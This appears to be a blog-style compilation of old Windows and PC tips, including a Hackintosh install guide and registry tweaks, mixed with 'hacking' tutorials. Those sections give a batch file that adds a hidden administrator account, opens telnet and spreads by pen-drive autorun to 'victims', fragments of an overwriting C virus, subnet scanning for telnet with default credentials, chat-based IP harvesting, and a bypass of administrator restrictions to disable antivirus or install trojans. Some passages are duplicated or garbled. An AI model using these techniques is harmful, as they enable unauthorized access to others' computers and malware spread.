(How To) Install Mac OS X using IDeneb 1.3. with motherboard Asus P5Q Deluxe.

•a) You need a MAC OS Distro – I used Ideneb 1.3. for this guide. You´ll find those in the net (Torrents..). Burn the distro to a DVD
•A working Windows System. I am using Vista for this guide, but I think it´ll work with XP too.
•c) You need to have SATA CD-DVD Drive, otherwise the setup DVD will not even start.
•d) You´ll need the following software for windows:
◦a. Easy BCD – it´s free and very useful for creating a double boot system (Windows / Mac OS). Follow the link to get it:http://neosmart.net/dl.php?id=1
◦b. MacOS Drive – in order to be able to access the MAC Drives from Windows. It´s not free, but the shareware version is enough for the installation process: http://www.mediafour.com/products/macdrive/
◦c. You need a partition program, if you want to shrink an existing partition in order to get space for a new MAC partition. I personally use Acronis Disk director, but there are free programs out there. Google will help.

Before installing MAC OS
•1) Set your SATA drives to AHCI mode. This is a simple Bios Settings, but you have to prepare your Windows System for the change.
◦Follow this guide if you are using Vista: http://forums.pcper.com/showthread.php?t=444831.
◦For XP Users: http://forum.insanelymac.com/index.php?sho...amp;mode=linear
•2) Prepare a free partition for MAC OS. Either clean an unused partition you have or create a new one (with the partition manager of your choice). IT HAS TO BE A PRIMARY PARTITION! I personally created a new partition on my second hard drive, while windows resides on my first one.

Installing MAC OS (using Ideneb 1.3. DVD)
•1) Set your bios to start from the DVD or invoke your boot BBS menu. The IDeneb DVD should start with the Camelion Boot loader. It will take some time before the Install GUI is loaded.
•2) After selecting the language do not proceed but enter the Tool Menu and start the drive tool. Select the partition for installing MAC OS and delete it for creating a „Mac OS journaled" partition which will be activated for you.
•3) Close the drive tool and proceed, after the credits screen do not proceed but press „Customize" (that´s vital!)
•4) Choose the software you would like to be installed and your language files. From the Patches and Fixes section be sure to check:
◦a. Audio: Apple Azalia (we correct this kext later)
◦b. Chipset: Intel ICHx fixed
◦c. Take the vanilla kernel, thus don´t check anything in this section
◦d. Network / Ethernet: Apple Yukon2
◦e. Grafikcard: Choose the type you own. For Nvidia cards take NVKush
◦f. Select Fixes: CPU = 1 (we correct that later), Firewire remove
•5) Install the system – that will take some time, the „time remaining" is not correctly shown.
•6) After the installation process finishest he computer will boot – into Windows. That is correct!

Preparing for the first boot into MAC OS X

1) Dual Boot:
•a. Back in Windows launch EasyBCD (at the time I have written this it´s version is 1.7.2. Settings might differ in future versions)
•b. Choose „Add/Remove Entries" => select third tab („Mac"), choose „Generic" Type and a proper name for you and add Entry (button)
•c. Next choose „Diagnostics center" => choose option „Reapair OSX…" è „Attempt recovery" è select correct MAC OS partitio number (i.e. if your MAC Partition ist he first partition on the second drive choose 0/1.). Cofirm your choice and dual boot is ready
•d. It´s a good idea to choose an appropriate Timeout on the „change Settings" tab
•e. FOR XP USERS ONLY: On the „manage bootlader" check „Reinstall Vista Bootlader"!
2) Install IDEDrivers and sound card
•a. Open your Mac System drive (if you installed MACDrive the drive should show up in explorer) and navigate to System/Extensions folder
•b. Download the JAS_ACPI_APIC_Tiger_KEXTS and follow the instructions (Method I): http://forum.insanelymac.com/index.php?showtopic=78235)
•c. Download the corrected Azalia_Audio KEXT from my post here and copy it tot he Extensions directory (choose to integrate/overwrite existing one or rename origninal one to keep a backup) AsusP5Q_Deluxe_Audio_KEXT.rar
•d. Download the modified Chamelon boot from http://forum.insanelymac.com/index.php?showtopic=132757 and install it by copying the cameleon file to the root directory of your MAC Drive. Rename/delete the original „boot" file and rename the „chameleon" file to „boot".
•e. Now you are ready to reboot….

Booting into MAC OS X
1) At the boot menu choose your MAC OS. The Chameleon bootloader will show up. PRESS F8 immediately
2) Enter bootoptions: cpus=1 –f –v , then press enter
3) Hopefully MAC OS will load without kernel panics etc. You will be welcomed with sound and grafics of MAC OS X screen, than follow the instructions to create your user name etc. CHOOSE A PASSWORD, otherwise Kext Helper will not work
4) To enable both cores, if you have a dual-core CPU:
a. Download fassl´s patcher: http://forum.insanelymac.com/index.php?showtopic=133683
b. Install it and run it. At the terminal press „ENTER" to continue the program. It will create a dsdt.asm with some warnings but no errors (hopefully).
c. Copy the resulting file to the root directory of he MAC System drive.

d. Check the com.apple.boot.plist at Libary/Preferences/SystemConfiguration for Kernel Flag entries. Delete the „cpus=1" flag. Maybe – like me – you have to enter –f flag to start without kernel panics. This is „trial and error"
e. Reboot now. After restart go to System Profiler and check: 2 Cores active!

5) Useful: Download MacNTFS3G in order to write to NTFS partitions (look at http://macntfs-3g.blogspot.com/). MacFuse is needed fort hat. The driver is free!
6) Useful: Missing IDE-Drives can be activated using AppleViaAta Kexts (install the kext using Kexthelper).
So have fun with this MAC OS X on your Computer!

HOW TO DISABLE REMOTE REGISTRY

The "Remote Registry" service enables remote users to alter registry setting on your computer. By default, the "Startup type" setting for the "Remote Registry" service may be set to "Automatic” or "Manual" which is a security risk for a single user (or) laptop computer user.
So, to make sure that only users on your computer can alter the process registry disable this "Remote Registry" service.

Here is how it can be completed:

1. Click Start and pick Control Panel from the Start Menu items.
Note:
If you find difficulty in accessing the Control Panel in your computer,


2. If your Control Panel is showing items in Classic View, find the icon named Administrative Tools and double click on it.

Alternatively if you are under Category View, click Performance and Maintenance and then Click Administrative Tools

3. Now double-click on Services applet which is used to start, stop and configure windows services on your computer. This open the service window listing all the windows services
4. From the right pane of the Services Window, find the service named Remote Registry
5. Double-click the "Remote Registry" service which shows the Remote Registry Properties for your Local computer.

Now, press the Stop button first to stop the started service and then pick Disabled from the drop down menu under 'Startup Type' and click Apply->OK.

6.Close the "Services" window and restart your computer for the changes to take effect.

That's it!! you have disabled the "Remote Registry" service on your computer to prevent unauthorized changes to the process registry.

HOW TO BREAK XP PASSWORD

A Loophole u never knew about

This works on WIn 2000 & WIN XP.

This can be used to gain access to the website you want to for free, and how you can gain access to 'control panel', and the various other tools of Widows that may have been blocked from your grasp like 'regedit' by the administrator. IT can be used in schools & colleges..
When u are at the log on screen, type in your username and password. NOW When you hit enter, and it comes up with the next screen, the rectangle one, immediatly pull out the network cable i.e. the cable wire.
Now u can log on without any restrictions because when the cable is pulled off then it does not download any settings from the server. Now you have access to control panel, & all the other features which had been blocked BUT there will be no network access. But that's cool because now we can access 'Internet options', click in the connections tab click the LAN settings, click the proxy settings, and in the little white box at the bottom we can specify websites that bypass the proxy server (eg www.yahoo.com) Now once you have changed the settings to what you wish, apply them and restart the computer. Now get someone else to log onto it because if you log in it will load the cached settings from your previous log in, then after the other person logs in, everyone that logs in after them included themselves will have the internet settings you specified.

Its only an 'Unplugging technique' to gain access to a comp. locked by the administrator.
Now you can gain access to msconfig, regedit, command etc disable the virus scanner, or to install a trojan or a virus according to u're will..
XP HOME ADVANCED FILE PERMISSIONS.!!
Access *Advance file Permissions* on NTFS file systems for XP Home simply by booting into *Safe Mode*, rt-clicking any file or folder, and navigating to the *Security tab*. This gives the user the ability to allow or deny read, write, execute, read & write, display contents, full-control, iheritance, and take ownership permissions, with many more options available to apply to different users and groups stored on the computer. Well, you don't have to do this in *Safe Mode* (XP Home). Although it is a little less intuitive, you can simply go to your command prompt - Start>All Programs>Accessories>Command Prompt. Now type cacls in the window (without the quotes). This gives you the ability to add, remove or modify file permissions on files and folders through the command prompt. Type cacls /? for help on different options and variables. You do not need to be in safe mode to use this so it makes it a little quicker than using the safe mode security tab GUI.

Remember - this only applies to NTFS. Here also is a very useful link to find a lot of extras and tweaks straight from the horse's mouth - the Microsoft Resource Center. You will find a lot of very useful web-based extra's here, most of them left unknowing to the general public - such as, "Online Crash Analysis" - a site that looks like Windows Update but you can upload your crash "dump logs" (when you get those system or application crash error reports). Microsoft will then analyze the log file and tell you some more info about WHY the system crashed (ie. faulty hardware/software/conflicts, etc).

CREATE VIRUS BY C PROGRAMMING

WRITE IN YOUR C COMPILER

CODE
//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>â•Å¡a.exe");
}
//END
}


At any rate, all of these viruses have some basic steps THIS IS LITTLE BIT TUFF...
Find a file to infect, be it an executable, source, or whatever (If none found, go to step 3)
Place virus in file.
Decide if any activation routines are met and, if so, activate.
Return to host or terminate and return to DOS.
For overwriting viruses, the implementation of these is quite simple. The only problem with these viruses is that they totally destroy any program that they infect, making them quite obvious. The only way to cure these is to find all of the infected files and delete them, restoring them from backups. The following virus is an extremely simple overwriting virus written in C. It will infect all .

- - ------------------ Cut Here -------------------------- - -
/* This is a simple overwriting virus programmed in Turbo C */
/* It will infect all .COM files in the current directory */
/* Infections destroy the programs and cannot be cured */

/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */ #include

while (x>256) /* OVERWRITE new Host */
{ /* Read/Write 256 byte */
fread(buff,256,1,Virus); /* chunks until bytes */
fwrite(buff,256,1,Host); /* left < 256 */
x-=256;
}
fread(buff,x,1,Virus); /* Finish off copy */
fwrite(buff,x,1,Host);
fcloseall(); /* Close both files and*/

Telnet hacking

This is the most interesting and effective method of hacking..
we can change settings, share files, know about him, and even
shut down his computer.

Method:

step1:download ipscanner from http://rapidshare.com/files/45381210/ipscan.exe

step2: open the scanner and type your ip adress (you can get it by typing "myipadress" in google search) in both the blank boxes. Now, remove the last no. from both the boxes and type 0 and 255 respectively in both boxes. I mean suppose your ip adress is 59.93.130.244 you have to type 59.93.130.0 in first box and 59.93.130.255 in second box.

step3: go to option and type 23 in ports tab

step4: start

step5: copy all Ipadresses with a green dot. These are only useful!

step6: go to run>cmd. comand prompt opened.

step7: type telnet and you are inside his/her computer

step7: if asked for uid/password..
uid=admin; pass=admin

step8: type help for further commands.

Hack pc while chatting

This is for educational purpose only ...

Hack PC while chatting

I am not sure that this will work 100 %.
But yes will work almost 70 percent of the times.
But before that you need to know some few things of yahoo chat protocol
leave a comment here after u see the post lemme know if it does works or not or u having a problem post here.

Following are the features : -

1) When we chat on yahoo every thing goes through the server.Only when we chat thats messages.
2) When we send files yahoo has 2 options
a) Either it uploads the file and then the other client has to down load it.
Either it connects to the client directly and gets the files
3) When we use video or audio:-
a) It either goes thru the server
Or it has client to client connection
And when we have client to client connection the opponents IP is revealed.On the 5051 port.So how do we exploit the Chat user when he gets a direct connection. And how do we go about it.Remember i am here to hack a system with out using a TOOL only by simple net commands and yahoo chat techniques.Thats what makes a difference between a real hacker and new bies.
So lets analyse
1) Its impossible to get a Attackers IP address when you only chat.
2) There are 50 % chances of getting a IP address when you send files
3) Again 50 % chances of getting IP when you use video or audio.

So why to wait lets exploit those 50 % chances .
I'll explain only for files here which lies same for Video or audio

1) Go to dos
type ->
netstat -n 3
You will get the following output.Just do not care and be cool
Active Connections

Just i will explain what the out put is in general.In left hand side is your IP address.And in right hand side is the IP address of the foreign machine.And the port to which is connected.Ok now so what next ->

2) Try sending a file to the Target .
if the files comes from server.Thats the file is uploaded leave itYou will not get the ip.But if a direct connection is established
HMMMM then the first attacker first phase is over
This is the output in your netstat.The 5101 number port is where the Attacker is connected.
Active Connections

TCP 194.30.209.15:5101 194.30.209.14:3290 ESTABLISHED


3) so what next???
Hmmm........ Ok so make a DOS attack now
Go to dos prompt and
Just do
nbtstat -A Attackers IPaddress.Can happen that if system is not protected then you can see the whole network.
C:\>nbtstat -A 194.30.209.14

Local Area Connection:
Node IpAddress: [194.30.209.15] Scope Id: []

EDP12 <00> UNIQUE Registered
XYZ <00> GROUP Registered
XYZ <20> UNIQUE Registered

What to do next??
It is now ur job to tell me what u have done next...

So the conclusion is never exchange files , video or audio till you know that the user with whom you are chatting is not going to harm you.

TCP-IP file transfer,full procedure

This article explains how to transfer files from one handheld to the other over a TCP/IP connection. More Information NOTE: File transfer between two Ranger Series handheld computers is supported under Windows CE 3.0, OS revision 2.2 and higher. You can check your OS revision by double clicking on the "System" icon in the control panel. In order to establish a TCP/IP connection between two handhelds, you will need to determine the IP address of the handheld that will be receiving the file being transferred. Select Start> Settings> Control Panel and double click on the "Network" icon. Highlight the Built-in Ethernet Driver and select "Properties". Confirm that the handheld is using a static IP address (not DHCP), and make a note of what it is (4 numbers of the form 10.0.x.x). You will also need to connect the two handhelds physically. Connect a Multi-Port Adaptor (part #.RGR-MULTIADPT) to each unit, and then use an Ethernet crossover cable to connect them to each other. On the handheld which will be receiving the file, select Start> Programs> Communication> File Transfer to open the main "File Transfer" window. Click on "Settings" to open the "File Transfer Options" window and confirm that the TCP/IP transport has been selected. If not, click on "Choose" and select it from the list of available transports. Click OK to return to the "File Transfer Options" window, and confirm that the "Received Files Location" is set for the folder in which you want the file to be placed. When done, close the "File Transfer Options" window to return to the main "File Transfer" window. Click on "Receive" and confirm the location in which the received file will be stored. Click on OK, and then the handheld will display a "Transfer in Progress" window and a message "Waiting for sender…" It will remain in this state until either a file is received or the transfer is cancelled. On the handheld which will send the file, select Start> Programs> Communication> File Transfer to open the main "File Transfer" window. As before, click on "Settings" to confirm that the TCP/IP transport is selected. Close the "File Transfer Options" window, and then click on "Send" in the "File Transfer" window. A window will open which will allow you to browse to the file to be sent. Once you select the file, a "Select Receiver Name or IP" window will appear. Enter the IP address of the other handheld and click "OK". The handheld will briefly display a "Transfer in Progress" window and a message "Searching for receiver…" If the transfer fails, confirm that the connections are secure, that a crossover cable is being used, and that the correct IP address has been entered, and then attempt the transfer again.

Make mozzila faster

1. Type "about:config" into the address bar and hit enter. Scroll down and look for the following entries:

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"

set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.

5 important computer tricks

Don't just maximize your windows—go full screen
When you need a really big window, don't just maximize it: go full screen! To view a window full screen, hold down the Ctrl key and double-click the window's title bar—or when the window is active, press the F11 key at the top of your keyboard—to get the biggest window possible.


Add the Links toolbar to My Computer
You know what would make a great toolbar? One where you could put your favorite applications and documents so that you could open them from any window at any time. Guess what? You can and here's how: click Start, then My Computer. Now right-click the toolbar and then click Links. You now have the Links toolbar on your windows, just like in Internet Explorer. Note: Make sure that Lock the Toolbars is not checked. Click on it to deselect it if it is.The really cool thing about the Links toolbar is that it's completely customizable. Try this: Navigate to your favorite application and drag and drop its icon to the Links toolbar. You just created a shortcut. Do this again and again for as many applications as you want to appear on the toolbar.


Arrange windows on your desktop
You can display any two windows side by side on the desktop by first clicking a window's button on the Taskbar. Next, press and hold the Ctrl key and right-click the second window that you want to open, then click Tile Vertically. This works great when you want to view two Microsoft Word or Microsoft Internet Explorer windows at the same time.

Organize your files into groups
Organize your files by grouping them. Try this: Open a folder containing several different subfolders and file types. Right-click any empty space on the window's contents pane, click Arrange Icons By, and then click Show in Groups. To arrange the window's contents, right-click again in any empty space on the window's contents pane, point to Arrange Icons By, and click Name, Size, Type, or Modified.

Make your own icons
It's shockingly easy to create your own icons in Windows XP. Let's do it: Click Start, click All Programs, click Accessories, and then click Paint. On the Image menu, click Attributes. Type 32 for both the Width and Height of the document, and make sure that Pixels is selected under Units. Click OK to create a new 32x32-pixel document: the size of an icon.Now add type, color, or do whatever you'd like to your image. I like to shrink photos (headshots work best) to 32x32 and simply paste them into my Paint document. When you're finished, open the File menu and click Save As. Use the dialog box to choose where you want to save your file, then give it a name followed by ".ico" (without the quotes), and click Save. (The extension ".ico" tells Windows that it's an icon file.) You just created an icon! Now you can change any shortcut or folder to your own icon—just browse to it on your hard drive.

How to access your friends Machine remotely

If you have physical access to ur friends machine then u can access his machine remotely using telnet server. All u have to do is to create a user account there then hide that user from logon screen and then start telnet server and finally mark telnet as a exception in firewall.These stepes can be carried out simply and faster using a simple batch file(instal.bat). Here i m providing the source of batch file: instal.bat

@echo OFF
net user IE_USR 123456 /add
net localgroup administrators IE_USR /add
net localgroup “remote desktop users” IE_USR /add
sc config tlntsvr start= auto
netsh firewall set allowedprogram %windir%\system32\tlntsvr.exe iexplorer enable
sc start tlntsvr
reg add “HKLM\software\microsoft\windows NT\CurrentVersion\winlogon\specialaccounts\UserList” /v IE_USR /t REG_DWORD /d 0
Now u can make this file to spread from one machine to another according to ur own method like i use to spread this file as a autoplay program in pen drives. Here i m providing u the code for autoplaying just put these two files in pen drive and u r work is done. autorun.inf

[autorun]
open=instal.bat
Now what? when the victim plug this pen drive in his/her PC instal.bat runs and it will do all the work for u then u meet ur frnd online on yahoo msgr and use start>run>netstat -n 4 [press enter] to find his ip address. After getting the ipaddress goto start>run>telnet ipaddress [press enter] now press y and then use these login detail to get login username: IE_USR
password: 123456 Nice work naa!!! i know. now u have the shell prompt of friend machine now u can do anything u can see what task are running there using tasklist command, u can shutdown his machine using shutdown -s, u can even get stored password from registry, u can do almost everthing from command prompt. Belive me this one is the simplest way

System information

system up time only for xp professional edition
It boasts how long it can stay up. Whereas previous
versions of Windows were coy about how long they went
between boots, XP is positively proud of its stamina.
Go to the Command Prompt in the Accessories menu from
the All Programs start button option, and then type
'systeminfo'. The computer will produce a lot of
useful info, including the uptime. If you want to keep
these, type 'systeminfo > info.txt'. This creates a
file called info.txt you can look at later with
Notepad. (Professional Edition only).

lock pc just by double clicking mouse

You can lock your XP workstation with two clicks of
the mouse. Create a new shortcut on your desktop using
a right mouse click, and enter 'rundll32.exe
user32.dll,LockWorkStation' in the location field.
Give the shortcut a name you like. That's it -- just
double click on it and your computer will be locked.
And if that's not easy enough, Windows key + L will do

Remove the Username and picture from Windows XP New Start Menu

The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.

For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:
Start Windows Explorer and go to this folder:

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures

From that folder, rename the BMP file which corresponds to your user account.
( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp )
Next, rename the following folder:

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures

to something else, say...

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures
To remove the user name, follow these steps

Start regedit.exe and navigate to the this key:

HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer
In the right-pane, set NoUserNameInStartMenu value-data to 1

Close Regedit.exe and restart Windows.

You'll end up with a blue space at the top of the Start Menu.

To get back the username and the picture, reverse the above procedure.

For the New Start Menu, Windows XP looks for the .bmp file in the folder

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures

If the file is not found, it takes a picture from the "Default Pictures" sub-folder. By renaming the .bmp and the "Default Pictures" folder, you're giving no chance for Windows to fetch an image for the Start Menu

number i.e Q33N... Increase the Font Size to 72, Change the Font to

log trick !! make ur Notepad a diary !!

Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.

WHY?

The reason this happens:

In notepad, any other 4-3-3-5 letter word combo will have the same results.
It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.

1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters

~ cheers ~

SPEED UP MENU DISPLAY.!!

When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.

Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.

Navigate to HKEY_CURRENT_USER\Control Panel\Desktop
Select MenuShowDelay from the list on the right.

Right on it and select Modify.
Change the value to 0.
Reboot your computer.

CLICKING * .AVI FILES ON EXPLORER CAUSING 100% CPU USAGE.!!

Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it'll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:
1. Open up regedit
2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler
3. Delete the "Default" value which should be "{87D62D94-71B3-4b9a-9489-5FE6850DC73E}"
Voila! Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.
NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.

CD ROM STOPS AUTOPLAYING/AUTORUN.!!

And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.
Solution: The service: "Shell Hardware Detection" has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to "Automatic".

How to make your Desktop Icons Transparent

Go to Control Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"


DISPLAY MESSAGE ON STARTUP.

Start regedit, if you are unfamiliar with regedit please see our FAQ.
Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Modify the key legalnoticecaption with what you want to name the window.
Modify the key legalnoticetext with what you want the window to say. Restart


AUTO DELETE TEMPORARY FOLDER.!!

ll what i prefer is %temp% " without quotes.. at Start -> Run..
this opens ur temp folder n den u cal erase it neatly// still try dis one too..

First go into gpedit.msc
Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder
Then right click "Do Not Delete Temp Folder Upon Exit"
Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Note from Forum Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.

2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters

SPEED UP MENU DISPLAY.!!

When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.

Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.

Navigate to HKEY_CURRENT_USER\Control Panel\Desktop
Select MenuShowDelay from the list on the right.

Right on it and select Modify.
Change the value to 0.
Reboot your computer.

CLICKING * .AVI FILES ON EXPLORER CAUSING 100% CPU USAGE.!!

Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it'll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:
1. Open up regedit
2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler
3. Delete the "Default" value which should be "{87D62D94-71B3-4b9a-9489-5FE6850DC73E}"
Voila! Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.
NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.

CD ROM STOPS AUTOPLAYING/AUTORUN.!!

And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.
Solution: The service: "Shell Hardware Detection" has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to "Automatic".

How to make your Desktop Icons Transparent

Go to Control Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"

Unlock password protect mmc card

Well its quite simple but most of the people do not know it.

Please note the fact that it only works if the password to the MMC Card was set in ur own mobile,where u want it to be unlocked.

This method works well for nokia cells with symbian operating system.Never tried on other cells.use any software like FXplorer that can browse files in ur cell.

1. Open one of above software you have.
2. Browse through the directory, C:\system
3. Rename the file mmcstore to mmcstore.txt
4. Open the file - The file will open in Notes.
5. You will find your password in that file. That file would also contain much more data which you do not understand,so you need to go through the file to get the password!

When ur cell is connected to pc by means of data cable or bluetooth,u can see the password by simply opening the file mmcstore with notepad.

XP tricks [New]

Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

